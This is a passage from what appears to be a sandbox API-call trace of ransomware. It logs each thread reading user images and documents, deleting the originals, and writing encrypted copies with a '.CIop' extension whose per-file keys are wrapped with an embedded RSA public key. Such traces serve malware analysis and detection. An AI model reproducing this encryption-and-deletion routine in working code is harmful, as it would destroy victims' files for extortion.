2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.775] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0098.775] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x6562b8) returned 1 [0098.776] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6562b8, dwCertEncodingType=0x1, pInfo=0x64a8f0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x649538) returned 1 [0098.776] CryptEncrypt (in: hKey=0x649538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0098.776] CryptEncrypt (in: hKey=0x649538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x656450*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x656450*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0098.776] WriteFile (in: hFile=0x568, lpBuffer=0x656450*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656450*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.776] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.777] VirtualFree (lpAddress=0x3170000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.777] VirtualFree (lpAddress=0x3180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.777] CloseHandle (hObject=0x568) returned 1 [0098.839] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Bu5bp9.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bu5bp9.avi")) returned 0 Thread: id = 148 os_tid = 0xb38 [0098.747] lstrcpyA (in: lpString1=0x316e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.747] lstrcpyW (in: lpString1=0x316f368, lpString2="TqgqXxG.bmp" | out: lpString1="TqgqXxG.bmp") returned="TqgqXxG.bmp" [0098.747] lstrcpyW (in: lpString1=0x316f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0098.747] SetErrorMode (uMode=0x1) returned 0x1 [0098.747] wsprintfW (in: param_1=0x316eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\TqgqXxG.bmp") returned 94 [0098.747] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\TqgqXxG.bmp", dwFileAttributes=0x20) returned 1 [0098.748] StrStrW (lpFirst="TqgqXxG.bmp", lpSrch=".CIop") returned 0x0 [0098.748] wsprintfW (in: param_1=0x316e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\TqgqXxG.bmp.CIop") returned 99 [0098.748] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\TqgqXxG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\tqgqxxg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x568 [0098.748] ReadFile (in: hFile=0x568, lpBuffer=0x68bc88, nNumberOfBytesToRead=0xa8f3, lpNumberOfBytesRead=0x316e5e8, lpOverlapped=0x0 | out: lpBuffer=0x68bc88*, lpNumberOfBytesRead=0x316e5e8*=0xa8f3, lpOverlapped=0x0) returned 1 [0098.749] CloseHandle (hObject=0x568) returned 1 [0098.749] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\TqgqXxG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\tqgqxxg.bmp")) returned 1 [0098.811] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3170000 [0098.812] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3180000 [0098.812] SetErrorMode (uMode=0x1) returned 0x1 [0098.812] CryptAcquireContextW (in: phProv=0x316e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x316e5b8*=0x655b48) returned 1 [0098.814] CryptGenKey (in: hProv=0x655b48, Algid=0x1, dwFlags=0x4000, phKey=0x316e5bc | out: phKey=0x316e5bc*=0x648d38) returned 1 [0098.833] CryptExportKey (in: hKey=0x648d38, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x316e5ec | out: pbData=0x0*, pdwDataLen=0x316e5ec*=0x94) returned 1 [0098.833] CryptExportKey (in: hKey=0x648d38, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3180000, pdwDataLen=0x316e5ec | out: pbData=0x3180000*, pdwDataLen=0x316e5ec*=0x94) returned 1 [0098.833] CryptDestroyKey (hKey=0x648d38) returned 1 [0098.833] CryptReleaseContext (hProv=0x655b48, dwFlags=0x0) returned 1 [0098.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\TqgqXxG.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\tqgqxxg.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x568 [0098.833] WriteFile (in: hFile=0x568, lpBuffer=0x68bc88*, nNumberOfBytesToWrite=0xa8f3, lpNumberOfBytesWritten=0x316e5d8, lpOverlapped=0x0 | out: lpBuffer=0x68bc88*, lpNumberOfBytesWritten=0x316e5d8*=0xa8f3, lpOverlapped=0x0) returned 1 [0098.835] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa8f3 [0098.835] WriteFile (in: hFile=0x568, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x316e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x316e5d8*=0x7, lpOverlapped=0x0) returned 1 [0098.835] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa8fa [0098.836] SetErrorMode (uMode=0x1) returned 0x1 [0098.836] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0098.836] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x316d5b8, pcbBinary=0x316d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x316d5b8, pcbBinary=0x316d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0098.836] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x316d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x316d5a0, pcbStructInfo=0x316d598 | out: pvStructInfo=0x316d5a0, pcbStructInfo=0x316d598) returned 1 [0098.836] CryptAcquireContextW (in: phProv=0x316d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x316d5a8*=0x6563c8) returned 1 [0098.836] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6563c8, dwCertEncodingType=0x1, pInfo=0x64a000, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x316d5b0 | out: phKey=0x316d5b0*=0x6489f8) returned 1 [0098.836] CryptEncrypt (in: hKey=0x6489f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x316d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x316d5b4*=0x80) returned 1 [0098.836] CryptEncrypt (in: hKey=0x6489f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x655b48*, pdwDataLen=0x316d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x655b48*, pdwDataLen=0x316d5a4*=0x80) returned 1 [0098.836] WriteFile (in: hFile=0x568, lpBuffer=0x655b48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x316e5d8, lpOverlapped=0x0 | out: lpBuffer=0x655b48*, lpNumberOfBytesWritten=0x316e5d8*=0x80, lpOverlapped=0x0) returned 1 [0098.836] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.837] VirtualFree (lpAddress=0x3170000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.837] VirtualFree (lpAddress=0x3180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.837] CloseHandle (hObject=0x568) returned 1 [0098.838] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\TqgqXxG.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\tqgqxxg.bmp")) returned 0 Thread: id = 149 os_tid = 0xd28 [0098.858] lstrcpyA (in: lpString1=0x30ee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.858] lstrcpyW (in: lpString1=0x30ef368, lpString2="dDTdaFbzRTbH.png" | out: lpString1="dDTdaFbzRTbH.png") returned="dDTdaFbzRTbH.png" [0098.858] lstrcpyW (in: lpString1=0x30ef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0098.858] SetErrorMode (uMode=0x1) returned 0x1 [0098.858] wsprintfW (in: param_1=0x30eeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\dDTdaFbzRTbH.png") returned 118 [0098.858] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\dDTdaFbzRTbH.png", dwFileAttributes=0x20) returned 1 [0098.859] StrStrW (lpFirst="dDTdaFbzRTbH.png", lpSrch=".CIop") returned 0x0 [0098.859] wsprintfW (in: param_1=0x30ee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\dDTdaFbzRTbH.png.CIop") returned 123 [0098.859] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\dDTdaFbzRTbH.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ddtdafbzrtbh.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x580 [0098.860] ReadFile (in: hFile=0x580, lpBuffer=0x656668, nNumberOfBytesToRead=0x1876f, lpNumberOfBytesRead=0x30ee5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x30ee5e8*=0x1876f, lpOverlapped=0x0) returned 1 [0098.861] CloseHandle (hObject=0x580) returned 1 [0098.861] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\dDTdaFbzRTbH.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ddtdafbzrtbh.png")) returned 1 [0098.911] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3250000 [0098.912] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000 [0098.912] SetErrorMode (uMode=0x1) returned 0x1 [0098.912] CryptAcquireContextW (in: phProv=0x30ee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x30ee5b8*=0x655bd0) returned 1 [0098.914] CryptGenKey (in: hProv=0x655bd0, Algid=0x1, dwFlags=0x4000, phKey=0x30ee5bc | out: phKey=0x30ee5bc*=0x6490f8) returned 1 [0099.010] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x30ee5ec | out: pbData=0x0*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0099.010] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3260000, pdwDataLen=0x30ee5ec | out: pbData=0x3260000*, pdwDataLen=0x30ee5ec*=0x94) returned 1 [0099.010] CryptDestroyKey (hKey=0x6490f8) returned 1 [0099.010] CryptReleaseContext (hProv=0x655bd0, dwFlags=0x0) returned 1 [0099.011] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\dDTdaFbzRTbH.png.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ddtdafbzrtbh.png.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x568 [0099.011] WriteFile (in: hFile=0x568, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x1876f, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x30ee5d8*=0x1876f, lpOverlapped=0x0) returned 1 [0099.013] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1876f [0099.013] WriteFile (in: hFile=0x568, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x30ee5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.013] SetFilePointer (in: hFile=0x568, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18776 [0099.013] SetErrorMode (uMode=0x1) returned 0x1 [0099.013] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.013] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x30ed5b8, pcbBinary=0x30ed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.013] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x30ed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598 | out: pvStructInfo=0x30ed5a0, pcbStructInfo=0x30ed598) returned 1 [0099.013] CryptAcquireContextW (in: phProv=0x30ed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x30ed5a8*=0x655bd0) returned 1 [0099.014] CryptImportPublicKeyInfoEx (in: hCryptProv=0x655bd0, dwCertEncodingType=0x1, pInfo=0x64ac30, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x30ed5b0 | out: phKey=0x30ed5b0*=0x648bb8) returned 1 [0099.014] CryptEncrypt (in: hKey=0x648bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x30ed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x30ed5b4*=0x80) returned 1 [0099.014] CryptEncrypt (in: hKey=0x648bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x656230*, pdwDataLen=0x30ed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x656230*, pdwDataLen=0x30ed5a4*=0x80) returned 1 [0099.014] WriteFile (in: hFile=0x568, lpBuffer=0x656230*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x30ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x656230*, lpNumberOfBytesWritten=0x30ee5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.014] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.015] VirtualFree (lpAddress=0x3250000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.015] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.015] CloseHandle (hObject=0x568) returned 1 [0099.017] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\dDTdaFbzRTbH.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\ddtdafbzrtbh.png")) returned 0 Thread: id = 150 os_tid = 0xcec [0098.862] lstrcpyA (in: lpString1=0x322e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0098.862] lstrcpyW (in: lpString1=0x322f368, lpString2="dBpSfcucLn3NuQ6je7.rtf" | out: lpString1="dBpSfcucLn3NuQ6je7.rtf") returned="dBpSfcucLn3NuQ6je7.rtf" [0098.862] lstrcpyW (in: lpString1=0x322f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0098.862] SetErrorMode (uMode=0x1) returned 0x1 [0098.862] wsprintfW (in: param_1=0x322eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dBpSfcucLn3NuQ6je7.rtf") returned 52 [0098.862] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dBpSfcucLn3NuQ6je7.rtf", dwFileAttributes=0x20) returned 1 [0098.863] StrStrW (lpFirst="dBpSfcucLn3NuQ6je7.rtf", lpSrch=".CIop") returned 0x0 [0098.863] wsprintfW (in: param_1=0x322e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dBpSfcucLn3NuQ6je7.rtf.CIop") returned 57 [0098.863] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dBpSfcucLn3NuQ6je7.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dbpsfcucln3nuq6je7.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x580 [0098.863] ReadFile (in: hFile=0x580, lpBuffer=0x66ede0, 